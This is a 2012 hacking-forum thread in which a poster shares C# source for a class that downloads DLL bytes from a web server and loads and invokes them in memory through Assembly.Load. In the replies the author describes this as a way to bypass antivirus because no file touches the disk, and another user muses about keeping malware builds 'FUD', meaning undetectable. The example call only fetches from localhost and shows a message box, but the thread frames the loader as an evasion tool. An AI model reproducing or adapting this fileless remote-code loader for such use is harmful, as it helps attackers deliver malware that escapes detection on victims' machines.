

Forum:[Hack Forums](#)

Thread: [\[Src\]Invoke Online DLL's](#)

BaussHacker - March 25, 2012, 5:08 pm

Just something I experimented with for fun and it was pretty cool and if used correct it would be nice.

So what I did was just making a really simple wrapper to add libraries into a collection and then just executing.

What you can do with this is having your libraries online, instead located on the machine with the executable.

All it does is just downloading the bytes of the dll online and then putting it into a collection where it's just invoking the method using the Assembly class. You can always make this more advanced as I just used the Invoke method as a test.

WebLibrary class:

Code public class WebLibrary

```
{
    private Dictionary<string, byte[]> libCollection;
    private string webUrl;

    public WebLibrary(Uri webUri)
    {
        webUrl = webUri.ToString();
        libCollection = new Dictionary<string, byte[]>();
    }
    public WebLibrary(string webUrl)
    {
        this.webUrl = webUrl;
        libCollection = new Dictionary<string, byte[]>();
    }

    public void Add(string LibraryName)
    {
        WebClient wc = new WebClient();
        byte[] data = wc.DownloadData(webUrl.EndsWith("/") ? webUrl + LibraryName + ".dll" : webUrl +
"/" + LibraryName + ".dll");
        libCollection.Add(LibraryName, data);
    }

    public void InvokeMethod(string LibraryName, string Class, string MethodName, object[]
Parameters = null)
    {
        Assembly.Load(libCollection[LibraryName])
        .GetType(LibraryName + "." + Class).GetMethod(MethodName).Invoke(null, Parameters);
    }
}
```

Example usage:

Code WebLibrary webLib = new WebLibrary("http://127.0.0.1/");//Initializing the web-library.

webLib.Add("Dll");//This will download the bytes from http://127.0.0.1/Dll.dll and store them in a dictionary with "Dll" as key.

webLib.InvokeMethod("Dll", "TestClass", "MessageBox", new object[] { "Test Message!" });//This will invoke the method "MessageBox" in the class "TestClass" under the namespace "Dll" with the parameters "Test Message!".

Dll.dll:

Code namespace Dll

```
{  
    public class TestClass  
    {  
        public static void MessageBox(string message)  
        {  
            System.Windows.Forms.MessageBox.Show(message);  
        }  
    }  
}
```

Screenshot:

Spoiler ([Click to View](#))

[img]http://i590.photobucket.com/albums/ss347/PhoeNix4Real/exampled.png[/img]

I think that's it.

?

Note: The namespace has to be the same as the assembly name.

Immortal - March 25, 2012, 7:22 pm

Couldn't you make the program get the bytes from the dll online into an array so you never that way you never really download the .dll?

this is very nice code i think it needs to be //commented more. :F

BaussHacker - March 26, 2012, 12:15 am

(Mar 25, 2012 07:22 PM)Imm?rtal Wrote: [CITE](#) Couldn't you make the program get the bytes from the dll online into an array so you never that way you never really download the .dll?

this is very nice code i think it needs to be //commented more. :F

That's what it does, if you read the code :) It's a great way to bypass AV's, however you shouldn't have too big dll's then, but since it's .NET then the files are not very big, then it doesn't take more than a few secs xD

Immortal - March 26, 2012, 5:14 pm

ooh now that i read it, I see what you mean I only glanced at it first time :D

I diffidently will use this thanks :D

BaussHacker - March 26, 2012, 10:16 pm

(Mar 26, 2012 05:14 PM)Imm?rtal Wrote: [CITE](#) ooh now that i read it, I see what you mean I only glanced at it first time :D

I diffidently will use this thanks :D

Haha I tend to do the same sometimes :P ?

Xori - March 28, 2012, 2:44 pm

Quote:Couldn't you make the program get the bytes from the dll online into an array so you never that way you never really download the .dll?

You will need to have a hold of the whole DLL when you're invoking whatever it is that you need from it...

BaussHacker - March 28, 2012, 2:49 pm

(Mar 28, 2012 02:44 PM)Xori Wrote: [\[CITE\]](#) You will need to have a hold of the whole DLL when you're invoking whatever it is that you need from it...

No you don't, which is what this does. You just need the dll hosted on a server and you can invoke all its function with this. It downloads the data in memory, but there is never anything physical on the pc. As soon as the application is closed then the data is gone as well.

Xori - March 28, 2012, 2:54 pm

(Mar 28, 2012 02:49 PM)Yuka Wrote: [\[CITE\]](#) No you don't, which is what this does. You just need the dll hosted on a server and you can invoke all its function with this. It downloads the data in memory, but there is never anything physical on the pc. As soon as the application is closed then the data is gone as well.

Yes that's what I meant by having your hands on it, but I think the other guy was talking about feeding in the bytes one by one or something in order to not keep the whole DLL in memory, which just doesn't happen...

BaussHacker - March 28, 2012, 2:57 pm

(Mar 28, 2012 02:54 PM)Xori Wrote: [\[CITE\]](#) Yes that's what I meant by having your hands on it, but I think the other guy was talking about feeding in the bytes one by one or something in order to not keep the whole DLL in memory, which just doesn't happen...

Ohh that's not even possible, because the assembly still needs to be loaded. ?

Super Scumbag - March 29, 2012, 7:43 pm

Hmm... the concept is nice.

Gives me an idea.

Forever FUD on a build of a file if it can decrypt and reencrypt with a new DLL while still on the system.. hmm.